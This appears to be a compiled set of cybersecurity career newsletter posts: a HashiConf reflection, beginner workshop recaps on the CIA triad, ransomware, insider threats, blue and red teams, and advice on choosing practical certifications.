Every conversation I had, from Armon Dadgar’s vision of agentic operations, to Will Bengtson’s emphasis on security baked into the platform, Rob Barnes’ focus on ecosystem enablement, Tameika Reed’s push for developer accessibility through AI, Brian Chong’s enterprise lens on SBOMs and compliance, and Nasiullha Chaudhari’s community perspective, pointed toward the same reality:

The next era of cloud and security won’t be built by humans or machines. It’ll be built with them.

Infrastructure now needs to become more contextual because the tooling is shifting from things we configure to technological partners (AI) that we guide, systems that reason about their environment (AI), operate safely within policy (AI), and adapt as quickly as the organizations behind them (even more AI).

Automation appears to be evolving beyond infrastructure efficiency but more towards infrastructure resilience, backed by the aforementioned context.

And visibility, like the kind HashiCorp is now enabling through Infragraph, is evolving beyond dashboards and charts to bridge the trust gap between people, processes, and the AI that will soon help operate them.

As builders, our role must evolve from writing code that simply executes to designing & architecting resilient systems at scale.

A huge thank you to HashiCorp for sponsoring my trip to San Francisco for HashiConf 2025 and giving me the chance to meet so many brilliant builders and security minds in person.

This newsletter, however, isn’t sponsored by them. It’s an independent reflection written from my own experience, perspective, and conversations throughout the event.

Share

I’ve been in this space for five years now, working as a security engineer, mentoring hundreds of students, and teaching thousands through YouTube and Cyberwox Academy.

I’ve seen brilliant people stall out not because they weren’t smart enough, but because of a few career-killing habits.

If you want to actually land that cybersecurity role and grow, you need to avoid these traps.

Subscribe now

In Case You Missed It

I recently went through a cybersecurity 101 series. I’m sure you didn’t miss it, but if you did, here’s the whole workshop series in order:

Mistake #1: Learning Everything at Once

I’ve seen people trying to juggle Linux, PowerShell, Splunk, malware analysis, and offensive security… all at the same time. That’s not ambition. That’s burnout.

Cybersecurity is too deep a field for you to scatter your focus everywhere.

You need to choose a lane first.

• If you want to break into systems and networks and get paid to find vulnerabilities, choose offensive security.

• If you want to defend against malicious attackers, detect threats, and build security controls, choose defensive security.

Once you’ve built a foundation, you can always pivot. I’ve pivoted myself.

This field is flexible, but only if you build depth before chasing breadth.

Mistake #2: Believing a Single Certification Will Save You

I love seeing people celebrate when they pass Security+, OSCP, or CCD. But here’s the truth: a cert alone won’t get you the job.

A certification is a signal of effort, not proof of ability.

To stand out, you need to stack it with:

• Projects that show you can apply your knowledge.

• Advanced or specialized training in your chosen area.

• A strong resume and portfolio.

Think of certs as a door-opener. Just because a door is open doesn’t mean you’re in the house.

Mistake #3: Not Having a Structured Plan

Jumping between random YouTube tutorials, free PDFs, and half-finished labs is how people waste years.

You need structure.

That could be a degree, a bootcamp, or even a self-made plan. Personally, I built a six-month Cybersecurity Learning Framework to help beginners stay on track, and it works because it forces you to commit to a path and see it through.

Structure creates momentum. Without it, you’ll stay stuck in “learning mode” forever.

Mistake #4: Chasing Shiny Objects

This one hits close to home for me.

It’s so tempting to jump on the new hype wave of AI, blockchain, and cloud-native security right away, abandoning what you’re currently learning.

One minute you’re deep into a Windows memory analysis lab, the next you’re signing up for an “AI security” course you don’t even understand.

Here’s the fix: define your exact goal.

Do you want to become:

• A detection engineer?

• An incident responder?

• A cloud security engineer?

• An offensive security specialist?

Each of those paths requires specific skills.

Until you pick a target, you’ll keep drifting.

Mistake #5: Neglecting Networking & Mentorship

I can’t stress this enough: relationships move careers.

Cybersecurity is full of hidden opportunities, such as referrals, projects, collaborations, and even jobs that never hit LinkedIn job boards.

I’ve seen people land life-changing roles simply because they were active in their communities, attended conferences, or found the right mentor (me included).

Yes, your skills matter. However, your network will accelerate your growth in ways that a pure technical grind never will.

Join a vibrant cybersecurity community of over 6,900 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like reading, fitness, finance, anime, and other exciting subjects.

Join Us!

The Bottom Line

Cybersecurity is huge.

There are countless domains, endless new tools, and more hype than you can keep up with. If you want to survive and thrive, you need to:

• Focus deeply before broadening out.

• Build beyond certs with real projects.

• Stick to a structured plan.

• Ignore distractions until you’ve mastered the fundamentals.

• Invest in people as much as you invest in skills.

Your progress isn’t solely determined by your knowledge, but also by how you handle the journey.

The good news? These mistakes are fixable. Start now, and you can avoid wasting years of effort.

Share Cyberwox Unplugged

What started as a room of students, career-switchers, and curious professionals asking simple questions — “What exactly is cybersecurity?” — turned into a deep dive on why this field matters, how attackers operate, and how you can build a career in it.

If you’ve been following along since Part I, thank you. If you’re finding this series now, you’re right on time.

Subscribe now

In Case You Missed Anything

Here’s the whole workshop series in order:

The Bigger Lesson

If there’s one theme across the entire workshop, it’s this: cybersecurity is a mission.

Yes, it’s an industry with job titles and salaries. Yes, it’s a career with many entry points. But at its core, it’s about protecting people, data, and organizations from those who want to misuse them.

That mission is what keeps me learning, teaching, and building community through Cyberwox Academy and this newsletter.

What’s Next

If this series lit a spark for you, here are your next steps:

• 🎥 Watch the complete edited workshop — available exclusively for Cyberwox members on YouTube.
  👉🏽Join here to unlock it

• 🚪 Join the Cyberwox Academy Discord — 6,800+ members learning, building projects, sharing jobs, and supporting each other.
  👉🏽 Join the community here

• 📰 Stay tuned right here on Cyberwox Unplugged — I’ll continue sharing reflections, career lessons, and deeper dives into the craft of cybersecurity.

Final Word

I started this series because I didn’t want the energy from that workshop to fade away after the room emptied. Now it resides here, accessible to anyone who needs it, whether you’re just curious about cybersecurity or ready to dive in headfirst.

If it gave you clarity, share it with someone who might need the same spark.

Share

That provided us with a map of what we’re defending against.

Now let’s talk about the people who do the defending, and those who play offense to make defenses stronger. From there, we’ll dive into the most practical question for many of you reading this:

How do you build a career in this field?

Subscribe now

⏪ Check out parts 1 & 2 if you’ve missed them!

The Blue Team: Defenders on the Frontline

When most people think of “cybersecurity jobs,” they picture the Blue Team. These are the defenders, responsible for protecting organizations from day-to-day threats.

I told the workshop: “Think of the Blue Team as operating on five verbs: Monitoring, Analysis, Detection, Response, and Prevention.”

1. Monitoring – Collecting logs and telemetry. Every system, every login, every file download generates a trail. At scale, this translates to billions of records per day. Monitoring gives us visibility.

2. Analysis – Separating signal from noise. Not every failed login is an attack, but some are. Analysts sift through the haystack to find the needle.

3. Detection – Writing rules and logic to catch bad activity automatically. For example: “Alert me if anyone logs in from outside Texas when all our employees are based here.”

4. Response – Once an alert fires, the real work begins. Investigating what happened, containing it before it spreads, eradicating the threat, and remediating the environment.

5. Prevention – Instead of waiting for threats, build guardrails that prevent them from occurring in the first place. Think strong identity checks, firewalls, or policies that block risky behavior.

Within the Blue Team, careers range from SOC Analyst to Detection Engineer to Incident Responder to Cloud Security Engineer. Each has its own flavor, but all share the same mission: protect confidentiality, integrity, and availability.

The Red Team: Offense for Good

The Red Team takes a different approach. Instead of waiting for attackers, they simulate them.

I explained in the workshop: “Cybersecurity borrows heavily from the military. Blue Teams defend. Red Teams attack.”

Red Teamers, penetration testers, and adversary emulation specialists attempt to break into systems in the same manner as a malicious hacker would. The difference?

Their job is to report the weaknesses they find so that they can be addressed and fixed.

It’s offense in service of defense.

Red Team roles include:

• Penetration Testers – Contracted to test apps, networks, or infrastructure.

• Adversary Emulation Specialists – Simulate real-world attackers (e.g., APT groups) to see how defenders respond.

• Red Team Engineers/Operators – Build the tools, exploits, and campaigns used in simulations.

Where the Blue Team thrives on logs and detections, the Red Team thrives on creativity, exploitation, and thinking like an attacker.

Audience Q&A Moment

One audience member asked:

“So which side is better — Blue or Red?”

My answer: neither. Both exist because of each other. Red Teams keep Blue Teams sharp. Blue Teams build the guardrails, Red Teams test.

For careers, it comes down to personality:

• Do you love puzzles, detection logic, and digging through logs? Blue might fit.

• Do you love breaking things, exploiting systems, and thinking adversarially? Red might fit.

And the truth is, you can pivot between the two. Many professionals (myself included) have worn both hats over the years.

Career Pathways Into Cybersecurity

Now to the part most people lean forward for: “How do I get in?”

I broke it down into four practical pathways, and I’ll expand on them here.

1. Certifications (Practical > Theoretical)

I emphasized in the workshop that a cert isn't a guaranteed ticket to a job. But a good cert offers structure, demonstrates knowledge, and, if practical, shows you can actually do the work.

My top recommendations:

For Blue Team (Defensive Security):

• Blue Team Level 1 (BTL1) – Security Blue Team. Hands-on, 24-hour scenario-based cert.

• Certified Defensive Security Analyst (CDSA) – Hack The Box. Covers monitoring + response.

• Certified CyberDefender (CCD) – CyberDefenders. 48-hour, practical detection + response.

For Red Team (Offensive Security):

• PNPT (Practical Network Penetration Tester) – TCM Security. Affordable, hands-on.

• OSCP (Offensive Security Certified Professional) – Industry standard. An intense 24-hour exam where you must exploit systems and write a report.

2. College (Strategic, but Choose Wisely)

Not all degrees are equal. My honest take?

Skip cybersecurity degrees unless they are practical.

Most are heavy on theory, light on skills.

Better options:

• Computer Science – Builds coding + math depth, which makes you far stronger in modern security roles.

• SANS Institute – Expensive, but elite. Highly practical and industry-respected.

• WGU (Western Governors University) – Affordable, cert-heavy, NSA recognized. Great for career switchers.

• RIT (Rochester Institute of Technology) – One of the best U.S. programs in cybersecurity.

3. Projects (Proof You Can Do the Work)

I can’t stress this enough: projects differentiate you.

• Build a detection for a real attack in Splunk and blog about it.

• Analyze malware samples in a home lab and share your findings.

• Write about how you set up a SIEM, an IDS, or a honeypot at home.

Projects show initiative, practical ability, and communication skills. Employers love seeing them on resumes, GitHub, or LinkedIn.

4. Labs & Practice Grounds

Don’t just read — practice. The best platforms:

• TryHackMe – Beginner-friendly, guided labs for both Blue and Red. $14/month is worth it.

• HackTheBox – More advanced, great for offensive practice.

• Your Own Home Lab – The ultimate. Spin up virtual machines, simulate attacks, and practice detection. It’s how I sharpened my skills early on, and I still use mine.

Transferable Skills Count Too

If you’re already in an IT help desk, sysadmin, or networking role, you have a head start. Many of those skills are directly applicable to cybersecurity.

It’s easier to pivot from IT to security than from scratch.

The Community Advantage

Cybersecurity isn’t a solo sport. That’s why I built the Cyberwox Academy Discord: a community of over 6,800 members where students, professionals, and recruiters share jobs, resources, and guidance.

I told the workshop: “I can’t answer every question alone, but together, this community can.”

Joining spaces like this not only accelerates learning but also exposes you to opportunities. People have literally landed jobs just by networking inside.

Join a vibrant cybersecurity community of over 6,800 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

Closing Reflection

By the end of the workshop, I wanted the room to walk away with this: Cybersecurity is a mission, and it needs people. Whether you lean defensive, offensive, or somewhere in between, there’s space for you here.

But breaking in requires more than memorizing definitions. It requires:

• Building practical skill through certs, labs, and projects.

• Learning to communicate risk in business terms.

• Plugging into a community that pushes you forward.

If you do that, not only will you break in — you’ll thrive.

🎥 Watch the Full Workshop (Cyberwox Members Only)

If you’d like to watch the complete edited two-hour workshop, it’s available exclusively to my Cyberwox Squad and Syndicate members on YouTube.

👉🏽 Join here and watch the full session.

✅ That’s the conclusion of this 3-part series: Cybersecurity 101. If you’ve read this far, you’re already ahead of most people trying to understand this field. Share this with someone who needs to know this.

Share Cyberwox Unplugged

Now it’s time to get a little more structured.

When I teach cybersecurity, I always emphasize that we need foundations—concepts that simplify a massive, complex field into something we can actually build on.

That’s where the CIA Triad comes in. And no, I’m not talking about the spy agency.

Subscribe now

⏪ Check out part 1 (why it all matters) if you’ve missed it!

The CIA Triad: Cybersecurity’s North Star

At one point in the workshop, I asked: “How do we make sense of something as broad as cybersecurity?”

My answer: Start with the CIA Triad — Confidentiality, Integrity, and Availability.

These three principles are the foundation of everything we do.

• Confidentiality - Ensuring that only authorized individuals can access the data.

  • Imagine your mortgage account. Only you and an authorized individual from your bank should have access to this information. Confidentiality is what prevents your neighbor, your co-worker, or a hacker on the other side of the world from peeking in. In practice, we enforce this through encryption, access controls, and identity verification.

• Integrity - Ensuring the data isn’t tampered with.

  • If your mortgage account lists you as Dayspring Johnson, integrity ensures no one can sneak in and flip that to James Johnson. If that change happened, the system would now recognize James as the owner. Integrity keeps systems from being manipulated behind your back.

• Availability - Ensuring you can access your data when you need it.

  • If ransomware locks down your bank account, retirement funds, or even your laptop, then your data may still exist, but it’s unavailable to you. And in practice, that’s the same as losing it.

I told the room, “If you remember nothing else from today, remember these three. Break any one of them, and security collapses.”

Threats, Vulnerabilities, and Risk

Once you know the CIA Triad, the next question is: what actually threatens these three pillars?

We use three words constantly in this industry: threats, vulnerabilities, and risk.

• Threats – These are individuals or forces that attempt to cause harm. Attackers trying to break in, steal data, or disrupt availability. A ransomware crew is a threat. An insider misusing access is a threat.

• Vulnerabilities – These are the weaknesses in your system that threats exploit. An unpatched server. A weak password. A misconfigured cloud bucket. No matter how “secure” we think we are, vulnerabilities always exist. That’s why vulnerability management is a whole career path of its own.

• Risk – This is how businesses understand all of it. You can tell an executive, “There’s an RCE in the web service,” but that won’t land. Instead, we say: “There’s a high risk of customer data exposure that could cost millions.” Risk is the translation layer between technical threats and business impact.

I explained in the workshop: “If we can’t communicate in terms of risk, we fail the business. Cybersecurity is often seen as a cost center. Unless we show the value of reducing risk, leadership won’t keep investing in us.”

This is why terms like low risk, medium risk, and high risk exist.

They’re not just words — they’re how we justify budgets, policies, and jobs.

When Cybersecurity Becomes a Cost Center

I highlighted an important point: most companies see cybersecurity as a cost rather than a revenue generator. It doesn’t generate income directly, but it helps avoid losses.

However, the exception is when you work for a cybersecurity company.

For vendors like CrowdStrike and SentinelOne, as well as cloud providers like AWS and Microsoft, security is the product.

In those cases, cybersecurity is a revenue generator, not a cost center.

Understanding this distinction helps you see why translation to “risk language” is critical.

If your leadership only sees cost with no apparent benefit, security budgets disappear quickly.

Common Cyber Attacks

With foundations set, I shifted the workshop into what most people really wanted to know: what does this look like in the real world?

We explored two common, dangerous attack types.

1. Ransomware: Digital Kidnapping

I asked the room to imagine this: you log into your computer, and suddenly everything is locked. A message pops up demanding Bitcoin. If you don’t pay, not only will you never see your files again, but the attacker promises to leak them to the world.

That’s ransomware.

Attackers infiltrate, encrypt, and extort. They make billions every year. Ransomware campaigns have paralyzed entire governments, hospitals, and school districts.

In the workshop, I broke down how they get in (called initial access vectors):

• Phishing emails

• Typo-squatted websites (e.g., bnkofamerica.com instead of bankofamerica.com)

• Malicious downloads disguised as free software or media

• Even calling help desks and impersonating executives

And then I told the room: “Stopping ransomware isn’t about one magic tool. Antivirus, EDR, firewalls — they help. But attackers evolve. That’s why we preach defense in depth: layered defenses across endpoints, networks, cloud, and people. One layer fails? Another should catch it.”

2. Insider Threats: Danger on the Inside

The second attack type doesn’t involve outsiders breaking in. Its employees are misusing the access they already have.

I painted the picture:

“You’re an accountant at a bank. You have access to social security numbers, retirement accounts, and client records. You notice one account has $20 million sitting in it. Meanwhile, you’re making $70,000. The temptation is real.”

That’s an insider threat.

And it’s why companies need not only external defenses, but also monitoring and policies for insiders. In fact, the team I work on at Amazon focuses heavily on insider threats because insiders already understand systems, already have access, and can often cause just as much damage as an external attacker.

Audience Q&A Moments

This was one of my favorite parts of the workshop — people weren’t shy about asking questions.

Q: What’s the point of an antivirus if attackers always bypass it?

I explained that legacy antivirus was “signature-based,” relying on known file fingerprints. Attackers quickly learned to modify files so that signatures no longer matched. Modern tools are behavioral, so they look at what a file does.

But even then, attackers adapt. That’s why prevention (not downloading shady files in the first place) is stronger than relying purely on detection tools.

Q: Should I accept cookies on websites?

Cookies mainly track you.

I usually deny them, or at least clear them often. Better yet, use privacy-focused browsers like Brave. But the bigger lesson is this: you always have the freedom not to use a site if it feels invasive. Exercising that choice is part of your personal security posture.

Q: What if I already downloaded something shady?

If you only downloaded it, delete it.

If you opened it, assume persistence and consider a complete reset or reimage. Painful, yes — but safer. Attackers often build mechanisms that survive reboots or file deletions.

Practical Tools I Recommended

I also gave the room some practical starting points anyone could use:

• Malwarebytes – A free (with paid tier) tool that blocks malicious websites and downloads.

• Microsoft Defender – Comes built into Windows and is often enough to catch common threats.

• Skepticism – Still the best defense. If something feels off, question it before you click.

Wrapping Up Part II

By the end of this section of the workshop, the room had a clearer picture: cybersecurity isn’t just about hackers in hoodies. It’s about protecting confidentiality, integrity, and availability; translating threats into risks businesses can understand; and recognizing that both ransomware crews and insiders pose real dangers.

In Part III, we’ll go deeper into the people side of defense: how Blue Teams monitor, detect, and respond, how Red Teams attack to make systems stronger, and the real career pathways you can take to join the fight.

🎥 Watch the Full Workshop (Cyberwox Members Only)

If you’d like to watch the complete edited two-hour workshop, it’s available exclusively to my Cyberwox Squad and Syndicate members on YouTube.

👉🏽 Join here and watch the full session.

Join a vibrant cybersecurity community of over 6,800 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

✅ Next up: Cybersecurity 101, Part III: Defenders, Offense, and Careers

How Blue and Red Teams operate, and the practical ways you can build a career in cybersecurity.

Share Cyberwox Unplugged

Not quick hot takes. Not polished LinkedIn posts.

This is where I reflect, document, and share the more profound lessons that shape my career and this community.

Earlier this year, I had the opportunity to give a two-hour live workshop on the fundamentals of cybersecurity, not just as a technical field, but as an industry, a career, and most importantly, a mission.

The room wasn’t full of seasoned pros.

It was a mix of students, curious professionals, and individuals seeking to understand how hacking and security affect their daily lives. That’s why I removed the jargon and started from the ground up.

What follows in this three-part series is the whole arc of that workshop, adapted into long-form essays.

I haven’t skimmed or over-summarized.

I want you to feel the flow of the session, hear the audience questions, and absorb the stories that made people nod, laugh, or suddenly sit forward.

And for those of you in the Cyberwox Squad or Cyberwox Syndicate tiers on YouTube, the full edited workshop video is available in your members-only feed.

Setting The Tone

No slides. No flashy animations.

Just me, a room full of people, and an honest conversation about cybersecurity.

That was intentional. I didn’t want to bore anyone with technical diagrams or a death-by-PowerPoint presentation.

Instead, I wanted to break down cybersecurity in plain English, connect it directly to people’s lives, and make the space feel interactive.

So before I even introduced myself, I asked three simple questions.

The Three Questions That Changed the Tone

“By a show of hands, how many of you have heard of cybersecurity or hacking?”

Almost every hand in the room went up.

“How many of you have ever been hacked…maybe your WhatsApp, your Facebook, or even your bank account?”

Some hands stayed up, some went down. People laughed nervously, realizing how close to home this was.

“Alright… now, how many of you have ever hacked someone else?”

This one got the loudest reaction. Smiles, chuckles, side-eyes.

I started with those questions because it sets the tone: cybersecurity is not some abstract thing that only hackers in hoodies deal with. It’s already part of your life.

If your phone, car, accounts, or retirement money are online, then cybersecurity affects you every single day.

Subscribe now

Who I Am and Why This Matters

If you're new here, I'm Day, and I'm 23 years old.

I’ve been working in cybersecurity for about half a decade. Here’s a snapshot of that journey:

• Started with an internship during my freshman year of college — one of the best ways to break into the field.

• Worked across cloud security, threat detection, and incident response.

• Most recently, I’ve been doing threat hunting, threat intelligence, and adversary emulation.

• Today, I work on Amazon’s cybersecurity team, protecting global customers every single day.

That list might sound like I’ve jumped around a lot, but that’s actually the strength of this industry.

Once you build one skillset, you can pivot into others.

Threat Detection skills make you a better responder.

Incident Response experience makes you a sharper Threat Hunter.

It’s all connected by one thing: protecting people and systems from attackers.

Beyond a Career: Cybersecurity as a Mission

When discussing careers, it’s tempting to focus on money, titles, and prestige. And yes, cybersecurity pays well, but here’s my perspective:

Cybersecurity is not just a career. It’s a mission.

That mission looks like this:

• Protecting your family and the people you care about.

• Protecting companies that serve millions.

• Protecting entire societies from adversaries who want to exploit weaknesses.

When you see your work as a mission, it becomes easier to stay motivated. It fuels the grind of learning, experimenting, and growing.

Without that mission, cybersecurity can seem like an endless treadmill of alerts and acronyms. But with it, every detection, every fix, every analysis feels like being part of something bigger.

Why Cybersecurity Matters in 2025

We have been through a global tech revolution for over twenty years. Now, every company, in some way, is a software or tech company.

• Your bank doesn’t just hold money; it runs databases, servers, apps, and APIs.

• Your grocery store doesn’t just sell food; it manages online orders, payment systems, and delivery platforms.

• Even the library, where I gave the workshop, runs portals, databases, and Wi-Fi services.

Everywhere you look, the crown jewel is the same: data.

Data Is the New Gold

Here’s how I broke it down in the workshop:

Your name. Your phone number. Your address. Your income. Your browsing habits. Your medical records.

All of these are extremely valuable not only to companies that sell ads but also to adversaries.

• Companies use your data to target you with ads or develop more effective AI models.

• Attackers use your data to steal your identity, open accounts in your name, or blackmail you.

• Even something as simple as a leaked email and password combination can cascade into massive financial damage if reused across multiple accounts.

Data is leverage.

The Financial Dimension

The second crown jewel is money.

Bank accounts, mortgages, retirement savings — all of these live online now.

If an attacker compromises those systems, they don’t just inconvenience you; they can equally wreck your financial life.

• They can open fraudulent loans.

• They can max out credit cards.

• They can drain retirement accounts.

• They can even get mortgages in your name.

At a bigger scale, if attackers compromise a financial institution itself, entire communities are at risk.

This is why cybersecurity is no longer optional.

If attackers control your data and your finances, they essentially control your life.

Why the Mission Is Urgent

In the workshop, I told the room, “This is why we need more people in this industry. The attackers are motivated. The money is real. The harm is personal.”

Ransomware alone is a billion-dollar criminal industry, rivaling drug cartels. And on the other side? Companies, governments, and individuals who often lack the defenses needed to keep up.

That gap is where cybersecurity professionals come in.

It’s why the mission matters.

Closing Thoughts for Part I

That’s where I ended the opening portion of the workshop. Before diving into frameworks or attack types, I wanted everyone to sit with this truth:

Cybersecurity isn’t just for engineers. It already touches your everyday life. And the stakes are higher than ever.

In Part II, we’ll dig into the foundations of cybersecurity: the CIA Triad (Confidentiality, Integrity, Availability), threats, vulnerabilities, and how we translate all of that into the language businesses understand: risk.

🎥 Watch the Full Workshop (Cyberwox Members Only)

If you’d like to watch the complete edited two-hour workshop, it’s available exclusively to my Cyberwox Squad and Syndicate members on YouTube.

👉🏽 Join here and watch the full session.

Join a vibrant cybersecurity community of over 6,800 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

✅ Next up: Cybersecurity 101, Part II: Foundations & Attacks

The CIA Triad, threats, vulnerabilities, and the real-world attacks that are shaking organizations and individuals today.

Share Cyberwox Unplugged

I was 18, a college freshman, and an immigrant trying to figure out not just how to pass classes, but how to carve out a future in an industry I barely understood. Back then, terms like Blue Team and Red Team sounded like code names from a movie, not real jobs people built careers around.

What kept me moving forward wasn’t confidence. It was a sense of mission.

I wanted to protect people even if I couldn’t yet explain how.

Subscribe now

Why This Series Exists

Fast forward five years: I’ve worked across cloud security, detection engineering, incident response, and threat hunting at companies like Datadog and Amazon.

I’ve learned a lot. I’ve failed a lot. And through it all, one truth keeps showing up:

cybersecurity is intimidating until someone slows down long enough to make it human.

Recently, I gave a two-hour live workshop on the fundamentals of cybersecurity. The room wasn’t filled with experts. It was students, career-switchers, and curious professionals who wanted to know:

• What exactly is cybersecurity?

• How does it affect me on a day-to-day basis?

• How do people actually build careers in it?

The questions were simple, but the conversations were powerful.

People leaned forward. They laughed. Some looked nervous when they realized how close to home these risks hit. That’s when I knew this workshop needed to live beyond that room.

Join a vibrant cybersecurity community of over 6,800 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

What You’ll Get Here

Over the following three newsletters, I’m sharing the whole arc of that workshop.

Not a skimmed recap. Not bullet-point slides. But the stories, the frameworks, and even the audience Q&A that made the session come alive.

Here’s how it will unfold:

Part I: Why Cybersecurity Matters in 2025
The mission behind security, how it shapes your everyday life, and why data and money make you a target.

Part II: Foundations & Attacks
The CIA Triad, threats, vulnerabilities, and the real-world attacks that are shaking organizations and individuals today.

Part III: Defenders, Offense, and Careers
How Blue and Red Teams operate, and the practical ways you can build a career in cybersecurity.

For Cyberwox Members

The full edited two-hour workshop video is available exclusively to my Cyberwox Squad and Syndicate members on YouTube.

👉🏽 Join here and watch the whole session.

Why I Care

Cyberwox Unplugged has always been the place where I write what I wish I had known when I was starting out. A space to slow down, to reflect, and to share both the technical lessons and the personal ones.

If you’re new, welcome. If you’ve been following for a while, thank you. Either way, my hope is simple: that this series gives you clarity, direction, and maybe even the spark of a mission that’s kept me going.

Let’s Begin

Start with Part I: Why Cybersecurity Matters in 2025 → Read it here.

Share Cyberwox Unplugged

Most people burn time and money on certifications that don’t change their trajectory. Use this 4‑question framework every time you consider a cert:

1. Career Value: Does this tangibly move me toward the role I want?

2. Hands‑On Depth: Will I build and prove real skills, not just memorize trivia?

3. Planned Application: Exactly how (and how soon) will I use these skills on the job or in projects?

4. Faster Alternatives: Is there a more practical path (cert, lab, project) that gets me further, faster?

If the answer to any of these is weak, pass. Simple.

About Me

If you're new here, I'm Day, a Cybersecurity Engineer at Amazon. With five years in cybersecurity, my experience covers Detection Engineering, Cloud Security, Incident Response, Threat Hunting, and most recently, Threat Intelligence.

Before Amazon, I worked at Datadog as a cloud threat detection engineer, where I researched cloud threats and built detections for various cloud providers and SaaS applications.

I've worked my way up from various SOC analyst roles, investigating everything from endpoint threats to building detection systems for cloud-based abuse, so I know exactly what it takes to break into this field and make career advancements.

I started, just like many of you, learning from scratch, asking questions, and figuring it out one step at a time. And now, I'm here to help you do the same.

If you want to stay up-to-date on the cybersecurity industry and everything technical and career-related, be sure to like and subscribe to the newsletter for more content like this.

Join a vibrant cybersecurity community of over 6,800 people who are constantly engaging in conversations and supporting one another, covering topics from cybersecurity and college to certifications, resume assistance, and various non-professional interests like fitness, finance, anime, and other exciting subjects.

Join Us!

The Problem: Cert Chasing Without Strategy

I’ve taken numerous certifications for learning, career advancement, and as part of my time at WGU.

Some were worth it. Some weren’t.

The difference came down to one thing: did it create real leverage in my career?

2025 (or any year of your life) is not the time to spend on anything that doesn’t materially level you up.

No more paying for multiple‑choice trivia that never shows up in your day job.

No more “I’ll just add this to my résumé” without a plan to apply it.

Let’s fix the way you evaluate certs—once and for all.

The 4‑Question Certification Framework

1) Does it create career value?

Don’t start by asking “Is this cert popular?” Start by asking: “Does this push me directly toward the role, scope, or compensation band I’m targeting?”

How to test that quickly:

• Pull 15–20 recent job postings for the role you want.

• Highlight every required or “nice to have” cert. Notice the patterns.

• Map the cert’s curriculum to the skills those jobs demand.

• If there’s a weak or non‑existent connection, skip it.

If it doesn’t move you toward your target role, it’s a distraction.

2) Does it teach you hands‑on skills?

Multiple‑choice is not how modern teams validate your ability to ship, respond, detect, or break systems.

The market is flooded with practical training now. Use it.

Prefer these styles of exams and programs:

• Hands‑on labs in real or simulated environments

• Capstone projects that you can show and talk through

• Scenario-based exams (IR, SOC triage, malware, adversary emulation)

• Challenge platforms (HTB, TryHackMe, CyberDefenders) tied to certs

Examples:

• Defensive / SOC:

  • Security Blue Team — BTL1

  • CyberDefenders — CCD

  • Hack The Box — CDSA

• Offensive:

  • TCM — PNPT

  • INE/eLearnSecurity — eJPT, eCPPT, malware analysis tracks

  • Offensive Security — OSCP/OSEP (when you truly need that depth and rigor)

• Cloud & AppSec:

  • Cloud Breach — Offensive AWS/Azure

  • Altered Security — Azure AD, Azure application security

  • Microsoft & AWS — now adding real lab credits so you actually deploy and test (you get Azure credit to build and break things + AWS Free Tier)

• DevSecOps:

  • DevSecOps Institute and a growing set of hands‑on DevOps/SRE/Supply-chain security certs

If it’s not practical, you’re paying to forget it.

3) How will you apply it immediately?

If you don’t use it, you will lose it. Rapidly.

Before you pay:

• Define the use case. “I’m an IR analyst who wants attacker empathy, so I’ll take PNPT and immediately emulate those TTPs to harden our detections.”

• Define the artifact. “I will build a purple-team playbook, tune three detections, and push a Sigma rule PR by the end of the month.”

• Define the repetition loop. “Every Friday, I’ll spend 90 minutes re‑running one offensive technique in the lab, documenting telemetry and defensive visibility gaps.”

No plan to apply = guaranteed skill decay.

4) Are there faster, more practical alternatives?

Many legacy certs still get promoted because they’ve been around forever. That doesn’t mean they’re the best for you.

Example: For the price of PenTest+, you can get PNPT, which gives you a complete end‑to‑end practical exam with reporting that mirrors real consulting work.

Same “destination” (penetration testing competency), but PNPT gets you there faster and deeper.

Ask yourself: Is there a practical training program, project, lab series, or community-driven cert that gets me to demonstrable skill faster?

If yes, choose that.

A Simple Scorecard (Use This Before You Swipe Your Card)

Score each question from 0 to 3. Anything <8 total is a pass for me.

Sample Scorecard Evaluation: PenTest+ vs PNPT

🎯 Target Role: Junior Penetration Tester / Offensive Security Consultant

Total Score

• PenTest+: 3/12 → ❌ Skip (Low value, not practical)

• PNPT: 12/12 → ✅ Strong pick (Career-aligned, hands-on, and applicable)

Quick, Opinionated Shortlists

If you’re heading into SOC / IR / Detection Engineering

• BTL1, CCD, CDSA, PJSA, SAL1

• Practical Malware Analysis tracks (INE/eLearnSecurity)

• Build Purple team labs (SCYTHE, Atomic Red Team, DetectionLab, etc.) + writeups

If you want Offensive Security / Adversary Emulation

• PNPT (strong ROI)

• CPTS, CJSA, PT1

• eJPT → eCPPT progression

• OSCP/OSEP when you need to clear that bar for specific roles or teams

If you’re focused on Cloud Security (Blue & Red)

• Cloud Breach (AWS/Azure offensive)

• Altered Security (Azure AD, Azure appsec)

• Microsoft certs are now increasingly tied to real Azure credits and labs—use them in a practical way.

If you’re going DevSecOps / Platform Security / Supply Chain

• Practical DevSecOps

• Supplement with hands-on lab work: IaC scanning, SCA/SBOM pipelines, signing/verification, policy-as-code

Common Traps (Skip These)

• Certs you can’t map to a role you actually want.

• MCQ exams sold as “industry standard” with no lab component.

• “I’ll just learn it now for later” with no maintenance plan.

• Choosing the name-brand test when a practical, cheaper option exists.

• Paying for prestige over proof. Hiring managers care far more about what you can do and show.

If You’re Still in School (WGU, bootcamps, etc.)

Use those required certs to build a practical foundation, then pivot hard into hands‑on paths:

• Treat every “theory-heavy” cert as a primer, not the finish line.

• Immediately wrap practical labs, projects, or purple-team exercises around the content.

• Publish what you learn: detection writeups, IR playbooks, Sigma rules, Terraform modules, attack simulation notes… make it visible.

Action Plan (Do This Today)

1. Define your target role (title, team, and comp band).

2. Collect 15–20 job descriptions and extract the common required skills/tools.

3. List 3–5 certs you’re considering and run them through the scorecard.

4. Pick one that clears your bar.

5. Write a 4-week application plan: what you’ll build, tune, emulate, or publish using those skills.

6. Ship the artifact. Talk about it publicly (GitHub, blog, Substack, LinkedIn, X).

7. Rinse, refine, repeat.

My Final Take

Certifications can be either rocket fuel or busywork disguised as progress.

